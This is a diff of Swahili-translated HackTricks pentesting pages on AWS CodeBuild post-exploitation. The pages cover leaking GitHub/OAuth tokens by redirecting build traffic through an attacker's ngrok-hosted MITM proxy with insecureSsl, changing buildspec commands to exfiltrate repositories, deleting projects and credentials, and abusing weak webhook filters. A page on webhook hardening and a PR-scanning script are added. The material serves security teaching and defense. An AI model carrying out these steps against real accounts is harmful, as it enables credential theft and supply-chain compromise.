Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md

@@ -4,43 +4,43 @@
 
 ## CodeBuild
 
-Kwa maelezo zaidi, angalia:
+For more information, check:
 
 {{#ref}}
 ../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
-### Angalia Siri
+### Check Secrets
 
-Ikiwa akreditivu zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akreditivu zitawekwa kama siri katika meneja wa siri**.\
-Hivyo, ikiwa una ufikiaji wa kusoma meneja wa siri utaweza kupata hizi siri na kuhamasisha kwenye jukwaa lililounganishwa.
+Ikiwa credentials zimewekwa katika CodeBuild ili kuunganishwa na Github, Gitlab au Bitbucket kwa njia ya personal tokens, passwords au OAuth token access, hizi **credentials zitatunzwa kama secrets katika secret manager**.\
+Kwa hivyo, ikiwa una access ya kusoma secret manager utaweza kupata secrets hizi na pivot kwenye platform iliyounganishwa.
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
 {{#endref}}
 
-### Tumia Upatikanaji wa Repo wa CodeBuild
+### Abuse CodeBuild Repo Access
 
-Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa na msimbo huu:
+Ili kusanidi **CodeBuild**, itahitaji **access to the code repo** itakayokuwa ikitumia. Platform mbalimbali zinaweza kuwa zinahost code hii:
 
 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
 
-**Mradi wa CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**.
+The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
 
-Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akreditivu zilizowekwa zina ufikiaji.\
-Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akreditivu za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako):
+An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
+Ili kufanya hivyo, attacker angehitaji tu **kubadilisha repository URL kwa kila repo ambazo config credentials zina access** (kumbuka kuwa the aws web itawaorodhesha zote kwako):
 
 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
 
-Na **kubadilisha amri za Buildspec ili kuhamasisha kila repo**.
+Na **kubadilisha Buildspec commands ili exfiltrate kila repo**.
 
 > [!WARNING]
-> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token.\
-> Au je, ana? Angalia sehemu inayofuata
+> Hata hivyo, hii **kazi ni ya kurudia-rudia na ya kuchosha** na ikiwa github token ilisanidiwa na **write permissions**, attacker **hatawezi (ab)use hizo permissions** kwani hana access kwa token.\
+> Au ana? Angalia sekta inayofuata
 
-### Kuleta Alama za Ufikiaji kutoka AWS CodeBuild
+### Leaking Access Tokens from AWS CodeBuild
 
-Unaweza kuvuja ufikiaji uliopewa katika CodeBuild kwa jukwaa kama Github. Angalia ikiwa ufikiaji wowote kwa jukwaa za nje ulitolewa kwa:
+You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
 ```bash
 aws codebuild list-source-credentials
 ```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
 aws-codebuild-token-leakage.md
 {{#endref}}
 
+### Utekelezaji wa PR isiyo ya kuaminika kupitia usanidi mbaya wa kichujio cha webhook
+
+Ikiwa vichujio vya webhook ni dhaifu, washambuliaji wa nje wanaweza kupata PR zao zijengwe katika miradi ya CodeBuild yenye ruhusa za juu na kisha kutekeleza arbitrary code katika CI.
+
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
+
 ### `codebuild:DeleteProject`
 
-Mshambuliaji anaweza kufuta mradi mzima wa CodeBuild, na kusababisha kupoteza usanidi wa mradi na kuathiri programu zinazotegemea mradi huo.
+Mshambuliaji anaweza kufuta mradi mzima wa CodeBuild, kusababisha kupoteza usanidi wa mradi na kuathiri maombi yanayotegemea mradi huo.
 ```bash
 aws codebuild delete-project --name <value>
 ```
-**Madhara Yanayoweza Kutokea**: Kupoteza usanidi wa mradi na usumbufu wa huduma kwa programu zinazotumia mradi uliofutwa.
+**Potential Impact**: Kupoteza usanidi wa mradi na kusababisha kusimamishwa kwa huduma kwa maombi yanayotumia mradi uliyefutwa.
 
 ### `codebuild:TagResource` , `codebuild:UntagResource`
 
-Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
+Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa tags kutoka kwa rasilimali za CodeBuild, akivuruga mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji zinazotegemea tags.
 ```bash
 aws codebuild tag-resource --resource-arn <value> --tags <value>
 aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
+**Athari Inayoweza Kutokea**: Kuvuruga ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa upatikanaji zenye msingi wa tag.
 
 ### `codebuild:DeleteSourceCredentials`
 
-Mshambuliaji anaweza kufuta akiba za chanzo kwa ajili ya ghala la Git, na kuathiri utendaji wa kawaida wa programu zinazotegemea ghala hilo.
+Mshambuliaji anaweza kufuta cheti za chanzo kwa Git repository, na kuathiri utendakazi wa kawaida wa programu zinazotegemea repository.
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea hazina iliyoathirika kutokana na kuondolewa kwa hati za chanzo. 
+**Athari Inayowezekana**: Kuvurugika kwa utendaji wa kawaida kwa programu zinazotegemea repository iliyokumbwa kutokana na kuondolewa kwa cheti za chanzo.
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

@@ -2,43 +2,43 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Rejesha Github/Bitbucket Configured Tokens
+## Pata Tokens za Github/Bitbucket zilizosetiwa
 
-Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak:
+Kwanza, angalia kama kuna source credentials zilizosetiwa ambazo unaweza leak:
 ```bash
 aws codebuild list-source-credentials
 ```
 ### Kupitia Docker Image
 
-Ikiwa unagundua kwamba uthibitishaji, kwa mfano kwa Github, umewekwa kwenye akaunti, unaweza **exfiltrate** ile **access** (**GH token or OAuth token**) kwa kufanya Codebuild **itumie an specific docker image** kuendesha build ya mradi.
+Ikiwa utagundua kwamba uthibitishaji kwa mfano Github umewekwa kwenye akaunti, unaweza **exfiltrate** ile **access** (**GH token or OAuth token**) kwa kufanya Codebuild **kutumia docker image maalum** kuendesha build ya mradi.
 
-Kwa madhumuni haya unaweza **create a new Codebuild project** au kubadilisha **environment** ya ile iliyopo ili kuweka **Docker image**.
+Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **environment** ya mojawapo iliyopo kuweka **Docker image**.
 
-The Docker image unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image ya msingi itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kunasa sehemu kubwa ya trafiki ya host inayotajwa katika **`https_proxy`** na **`http_proxy`** na kuiamini SSL CERT inayotajwa katika **`SSL_CERT_FILE`**.
+The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image rahisi sana ambayo itaweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kuingilia sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa kwenye **`https_proxy`** na **`http_proxy`** na kumwamini SSL CERT iliyoonyeshwa ndani ya **`SSL_CERT_FILE`**.
 
-1. **Create & Upload your own Docker MitM image**
-- Fuata maelekezo ya repo ili kuweka proxy IP yako na kuweka SSL cert yako na **build the docker image**.
-- **DO NOT SET `http_proxy`** ili usinasa requests kwa metadata endpoint.
+1. **Tengeneza & Pandisha Docker MitM image yako mwenyewe**
+- Fuata maelekezo ya repo ili kuweka anwani ya IP ya proxy yako na kuweka certificate ya SSL na **kujenga docker image**.
+- **DO NOT SET `http_proxy`** ili usiingilie maombi kwa metadata endpoint.
 - Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` ili kuweka proxy kwa host yako
-- Mara ukiwa umejenga Docker image, **upload it to a public repo** (Dockerhub, ECR...)
+- Mara baada ya kujenga Docker image, **ipandishe kwenye repo ya umma** (Dockerhub, ECR...)
 2. **Set the environment**
-- Create a **new Codebuild project** au **modify** environment ya ile iliyopo.
-- Set the project itumie **previously generated Docker image**
+- **Unda mradi mpya wa Codebuild** au **badilisha** environment ya moja iliyopo.
+- Weka mradi utumie **Docker image iliyotengenezwa hapo awali**
 
 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-3. **Set the MitM proxy in your host**
+3. **Weka MitM proxy kwenye host yako**
 
-- Kama ilivyoonyeshwa kwenye the **Github repo** unaweza kutumia kitu kama:
+- Kama ilivyoonyeshwa kwenye **Github repo** unaweza kutumia kitu kama:
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
 > [!TIP]
-> Toleo la **mitmproxy lililotumika lilikuwa 9.0.1**, iliripotiwa kwamba kwa toleo 10 hii huenda isifanye kazi.
-
+> Toleo la **mitmproxy lililotumika lilikuwa 9.0.1**, iliripotiwa kwamba kwa toleo 10 hii inaweza isifanye kazi.
+  
 4. **Endesha build & kunasa credentials**
 
-- Unaweza kuona token kwenye kichwa cha **Authorization**:
+- Unaweza kuona token katika kichwa cha **Authorization**:
 
 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
 
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Kupitia insecureSSL
 
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua certificate** inayotolewa na jukwaa.
+**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichika kwenye wavuti; unaweza kuibadilisha tu kupitia API.\
+Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua cheti** kinachotolewa na jukwaa.
 
 - Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
-- Kisha, kwa taarifa ulizokusanya unaweza kusasisha mpangilio wa mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyokusasisha mradi; angalia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa mipangilio iliyokusanywa).
-- Zaidi ya hayo, ongeza pia vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwenye tcp ngrok yako kama:
+- Kisha, kwa taarifa uliyoikusanya unaweza kusasisha project setting **`insecureSsl`** kuwa **`True`**. Hapa chini ni mfano wa jinsi nilivyofanya update ya project; zingatia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa configuration uliyoikusanya).
+- Zaidi ya hayo, ongeza pia env variables **http_proxy** na **https_proxy** zikielekeza kwenye tcp ngrok yako kama ifuatavyo:
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
 ]
 }'
 ```
-- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyoonyeshwa na vigezo vya proxy (http_proxy na https_proxy)
+- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari inayotajwa na vigezo vya proxy (http_proxy and https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- Hatimaye, bonyeza kwenye **Jenga mradi**, **credentials** zitatumwa kwa **clear text** (base64) kwa mitm port:
+- Mwisho, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### ~~Kupitia protokoli ya HTTP~~
+### ~~Kupitia itifaki ya HTTP~~
 
-> [!TIP] > **Hitilafu hii ilirekebishwa na AWS wakati fulani wiki ya 20th of Feb of 2023 (nadhani Ijumaa). Kwa hivyo mshambuliaji hawezi kuitumia tena :)**
+> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
 
-Mshambuliaji mwenye **idhini iliyoongezeka ndani ya CodeBuild anaweza leak the Github/Bitbucket token** iliyosanidiwa au ikiwa idhini ilisanidiwa kupitia OAuth, **temporary OAuth token used to access the code**.
+Mshambuliaji mwenye **idhini iliyoinuliwa kwenye CodeBuild anaweza leak token ya Github/Bitbucket** iliyosanidiwa, au ikiwa idhini ilisanidiwa kupitia OAuth, **temporary OAuth token inayotumika kufikia code**.
 
-- Mshambuliaji anaweza kuongeza environment variables **http_proxy** na **https_proxy** kwenye project ya CodeBuild ikielekeza kwa mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
+- Mshambuliaji anaweza kuongeza vigezo vya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild akielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
 
 <figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
 
 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
 
-- Kisha, badilisha URL ya GitHub repo ili itumie HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
-- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyoonyeshwa na proxy variables (http_proxy and https_proxy)
+- Kisha, badilisha URL ya github repo ili itumie HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
+- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari inayorejelewa na vigezo vya proxy (http_proxy na https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- Ifuatayo, bonyeza **Jenga mradi** au anza ujenzi kutoka kwa mstari wa amri:
+- Ifuatayo, bonyeza **Build the project** au anza kujenga kutoka kwenye mstari wa amri:
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-- Mwishowe, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwenye port ya mitm:
+- Mwishowe, **credentials** zitatumwa kwa **matini wazi** (base64) kwenye mitm port:
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 
 > [!WARNING]
-> Sasa attacker ataweza kutumia token kutoka kwenye mashine yake, orodhesha haki zote alizo nazo na (ab)use kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
+> Sasa mshambulizi ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha idhini zote anazopata na kuitumia au kuitumia vibaya kwa urahisi kuliko kutumia huduma ya CodeBuild moja kwa moja.
 
-## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+## Untrusted PR execution via webhook filter misconfiguration
 
-CodeBuild GitHub webhooks zilizopangwa vibaya zinazotumia `ACTOR_ID` regexes zisizo na anchors zinawaacha PRs zisizokuwa za kuaminika kuanzisha privileged builds. Ikiwa allowlist ni kama `123456|7890123` bila `^`/`$`, ID yoyote yenye mojawapo ya substrings hizo itaendana. Kwa kuwa GitHub user IDs ni mfululizo, attacker anaweza kukimbizana kusajili ID "eclipsing" (superstring ya trusted ID) na kusababisha build.
+For the PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), check:
 
-**Exploit path**
-
-1. Pata public CodeBuild projects zinazoonyesha webhook filters na toa `ACTOR_ID` allowlist isiyo na anchor.
-2. Pata eclipsing GitHub ID:
-- Sampulia global ID counter kwa kuunda/kufuta GitHub orgs (org IDs zinashiriki pool).
-- Pre-stage creations nyingi za GitHub App manifest na fire confirmation URLs wakati counter iko ndani ya ~100 IDs za lengo ili burst-register bot ID inayojumuisha trusted substring.
-3. Fungua PR kutoka kwa account ya eclipsing; regex inafanana na substring na privileged build inaendeshwa.
-4. Tumia build RCE (mfano, dependency install hooks) ku-dump process memory inayoshughulikia GitHub credential na kurecover PAT/OAuth token.
-5. Kwa token yenye `repo` scope, mwalike account yako kama collaborator/admin na push/approve commits za uharibifu au exfiltrate secrets.
-
-## References
-- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md

@@ -0,0 +1,235 @@
+# AWS CodeBuild - Kukwepa webhook ya PR isiyoaminika (CodeBreach-style)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Njia hii ya kushambulia inaonekana wakati workflow ya **PR inayokabiliwa hadharani** imeunganishwa na mradi wa **CodeBuild wenye mamlaka** na udhibiti dhaifu wa webhook.
+
+Iwapo mshambuliaji wa nje anaweza kufanya CodeBuild ifanye execute ya pull request yao, kwa kawaida wanaweza kupata **utekelezaji wa msimbo wowote ndani ya build** (build scripts, dependency hooks, test scripts, n.k.), kisha wakageuke kupata siri, kredenshali za IAM, au kredenshali za source-provider.
+
+## Kwanini hili ni hatari
+
+CodeBuild webhook filters zinatathminiwa kwa kutumia pattern za regex (kwa filters zisizo za `EVENT`). Katika filter ya `ACTOR_ACCOUNT_ID`, hii inamaanisha pattern dhaifu inaweza kuendana na watumiaji wengi zaidi kuliko ilivyokusudiwa.
+Ikiwa PR zisizoaminika zinatengenezwa katika project ambayo ina ruhusa zenye mamlaka za AWS role au kredenshali za GitHub, hili linaweza kuwa kompromasi kamili ya supply-chain.
+
+Wiz ilionyesha mnyororo wa vitendo ambapo:
+
+1. Orodha ya wachezaji wa webhook ilitumia **regex isiyo na anchoring**.
+2. Mshambuliaji alisajili ID ya GitHub iliyofanana kama **superstring** ya ID ya kuaminika.
+3. PR mbaya ilisababisha CodeBuild.
+4. Utekelezaji wa msimbo katika build ulitumiwa kuchoma memory na kupata kredenshali/vikomo vya source-provider.
+
+## Misconfigurations zinazoruhusu utekelezaji wa msimbo wa PR wa nje
+
+Hizi ni makosa yenye hatari kubwa na jinsi mashambulizi yanavyoabusa kila moja:
+
+1. **`EVENT` filters allow untrusted triggers**
+- Matukio hatari ya kawaida: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
+- Matukio mengine ambayo yanaweza kuwa hatari ikiwa yameunganishwa na builds zenye mamlaka: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
+- Mbaya: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` katika project yenye mamlaka.
+- Bora: tumia idhini kupitia comment ya PR na punguza matukio yanayoanzisha builds kwa miradi yenye mamlaka.
+- Abuse: mshambuliaji anafungua/anasasisha PR au anasukuma kwenye tawi wanadoliza, na msimbo wao unatekelezwa ndani ya CodeBuild.
+
+2. **`ACTOR_ACCOUNT_ID` regex is weak**
+- Mbaya: patterns zisizo na anchoring kama `123456|7890123`.
+- Bora: anchoring kwa exact-match `^(123456|7890123)$`.
+- Abuse: regex inayopitiliza inaruhusu GitHub IDs wasioidhinishwa kupita kwenye allowlists.
+
+3. **Other regex filters are weak or missing**
+- `HEAD_REF`
+  - Mbaya: `refs/heads/.*`
+  - Bora: `^refs/heads/main$` (au orodha ya wazi ya tawi zilizoaminika)
+- `BASE_REF`
+  - Mbaya: `.*`
+  - Bora: `^refs/heads/main$`
+- `FILE_PATH`
+  - Mbaya: hakuna vizuizi vya path
+  - Bora: tomee faili hatari kama `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
+- `COMMIT_MESSAGE`
+  - Mbaya: kuamini alama katika message ya commit kwa match mpana kama `trusted`
+  - Bora: usitumie commit message kama mipaka ya kuaminika kwa utekelezaji wa PR
+- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
+  - Mbaya: `.*` katika webhooks za org/global
+  - Bora: mechi za repo/org zilizoelezwa tu
+- `WORKFLOW_NAME`
+  - Mbaya: `.*`
+  - Bora: mechi za workflow name tu (au acha kutumia hili kama udhibiti wa uaminifu)
+- Abuse: mshambuliaji anafanya ref/path/message/repo context kukidhi regex mpole na kuanzisha builds.
+
+4. **`excludeMatchedPattern` is misused**
+- Kuweka flag hii kwa njia isiyo sahihi kunaweza kugeuza mantiki iliyokusudiwa.
+- Mbaya: `FILE_PATH '^buildspec\\.yml$'` na `excludeMatchedPattern=false` wakati nia ilikuwa kuzuia uhariri wa buildspec.
+- Bora: pattern ile ile na `excludeMatchedPattern=true` kukataa builds zinazogusa `buildspec.yml`.
+- Abuse: wataalamu wa ulinzi wanafikiri wanazuia matukio/paths/actors hatari, lakini kwa kweli wanayaruhusu.
+
+5. **Multiple `filterGroups` create accidental bypasses**
+- CodeBuild huthibitisha groups kama OR (kundi moja kupita inatosha).
+- Mbaya: kundi moja kali + kundi la fallback lenye upole (mfano, tu `EVENT=PULL_REQUEST_UPDATED`).
+- Bora: toa groups za fallback ambazo hazifuatilii vikwazo vya actor/ref/path.
+- Abuse: mshambuliaji anahitaji kukidhi kundi dhaifu tu.
+
+6. **Comment approval gate disabled or too permissive**
+- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` ni hatari kabisa.
+- Nafasi za waidhinishaji ambazo ni pana kupunguza udhibiti.
+- Mbaya: `requiresCommentApproval=DISABLED`.
+- Bora: `ALL_PULL_REQUESTS` au `FORK_PULL_REQUESTS` na majukumu madogo ya waidhinishaji.
+- Abuse: fork/drive-by PRs zinaendeshwa bila idhini ya maintainer aliyeaminika.
+
+7. **No restrictive branch/path strategy for PR builds**
+- Kutokuwepo kwa defense-in-depth kwa `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
+- Mbaya: tu `EVENT` + `ACTOR_ACCOUNT_ID`, hakuna vikwazo vya ref/path.
+- Bora: changanya `ACTOR_ACCOUNT_ID` thabiti + `BASE_REF` + `HEAD_REF` + vizuizi vya `FILE_PATH`.
+- Abuse: mshambuliaji anabadilisha vyanzo vya build (buildspec/CI/dependencies) na kupata uchezaji wa amri yoyote.
+
+8. **Public visibility + status URL exposure**
+- URLs za build/checks za hadharani huongeza recon ya mshambuliaji na majaribio ya iterative.
+- Mbaya: `projectVisibility=PUBLIC_READ` pamoja na logs/config zenye siri katika builds hadharani.
+- Bora: iweka projects binafsi isipokuwa kama kuna sababu zenye nguvu za kibiashara, na sanitize logs/artifacts.
+- Abuse: mshambuliaji anagundua mifumo/myendo ya project, kisha anakalia payloads na majaribio ya kukwepa.
+
+## Token leakage from memory
+
+Maandishi ya Wiz yanaelezea kwamba kredenshali za source-provider ziko katika muktadha wa runtime wa build na zinaweza kubauliwa baada ya kompromasi ya build (kwa mfano, kupitia memory dumping), kuruhusu takeover ya repository ikiwa scopes ni pana.
+
+AWS ilitengeneza hardening baada ya uvumbuzi huo, lakini somo kuu linabaki: **usimpe utekelezaji wa msimbo wa PR zisizoaminika katika muktadha wa build wenye mamlaka** na assume msimbo unaodhibitiwa na mshambuliaji utajaribu wizi wa kredenshali.
+
+Kwa mbinu zaidi za wizi wa kredenshali katika CodeBuild, angalia pia:
+
+{{#ref}}
+aws-codebuild-token-leakage.md
+{{#endref}}
+
+## Kupata CodeBuild URLs katika PR za GitHub
+
+Ikiwa CodeBuild inaripoti hali ya commit kurudi GitHub, URL ya build ya CodeBuild kawaida inaonekana katika:
+
+1. Ukurasa wa **PR** -> kichupo cha **Checks** (au mstari wa status katika Conversation/Commits).
+2. Ukurasa wa **Commit** -> sehemu ya status/checks -> kiungo cha **Details**.
+3. Orodha ya commits ya **PR** -> bonyeza context ya check iliyounganishwa na commit.
+
+Kwa miradi ya umma, kiungo hiki kinaweza kufichua metadata/config ya build kwa watumiaji wasiojulikana.
+
+<details>
+<summary>Script: gundua CodeBuild URLs katika PR na jaribu kama zinaonekana kuwa za hadharani</summary>
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Usage:
+#   ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
+#
+# Requirements: gh, jq, curl
+
+OWNER="${1:?owner}"
+REPO="${2:?repo}"
+PR="${3:?pr_number}"
+
+for bin in gh jq curl timeout; do
+command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
+done
+
+tmp_commits="$(mktemp)"
+tmp_urls="$(mktemp)"
+trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
+
+gh_api() {
+timeout 20s gh api "$@" 2>/dev/null || true
+}
+
+# Get all commit SHAs in the PR (bounded call to avoid hangs)
+gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
+if [ ! -s "$tmp_commits" ]; then
+echo "[!] No commits found (or API call timed out/failed)." >&2
+exit 1
+fi
+
+echo "[*] PR commits:"
+cat "$tmp_commits"
+echo
+
+echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
+
+while IFS= read -r sha; do
+[ -z "$sha" ] && continue
+
+# Classic commit statuses (target_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
+--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
+
+# GitHub Checks API (details_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
+--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
+done < "$tmp_commits" | sort -u > "$tmp_urls"
+
+grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
+
+echo
+echo "[*] Public-access heuristic:"
+echo "    - If URL redirects to signin.aws.amazon.com -> likely not public"
+echo "    - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
+echo
+
+cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
+if [ -z "$cb_urls" ]; then
+echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
+exit 0
+fi
+
+while IFS= read -r url; do
+[ -z "$url" ] && continue
+final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
+code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
+
+if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
+verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
+elif [ "$code" = "200" ]; then
+verdict="POTENTIALLY_PUBLIC"
+else
+verdict="UNKNOWN_CHECK_MANUALLY"
+fi
+
+printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
+done <<< "$cb_urls"
+```
+Imethibitishwa inafanya kazi na:
+```bash
+bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
+```
+</details>
+
+## Orodha ya ukaguzi wa haraka
+```bash
+# Enumerate projects
+aws codebuild list-projects
+
+# Inspect source/webhook configuration
+aws codebuild batch-get-projects --names <project-name>
+
+# Inspect global source credentials configured in account
+aws codebuild list-source-credentials
+```
+Kagua kila mradi kwa:
+
+- `webhook.filterGroups` zinazo jumuisha matukio ya PR.
+- Patterni za `ACTOR_ACCOUNT_ID` ambazo hazijaweka anchor `^...$`.
+- `pullRequestBuildPolicy.requiresCommentApproval` sawa na `DISABLED`.
+- Vizuizi vya tawi/na njia za faili vinavyokosekana.
+- `serviceRole` yenye vibali vya juu.
+- Wigo wa vyeti vya chanzo wenye hatari na utumiaji upya.
+
+## Mwongozo wa kuimarisha usalama
+
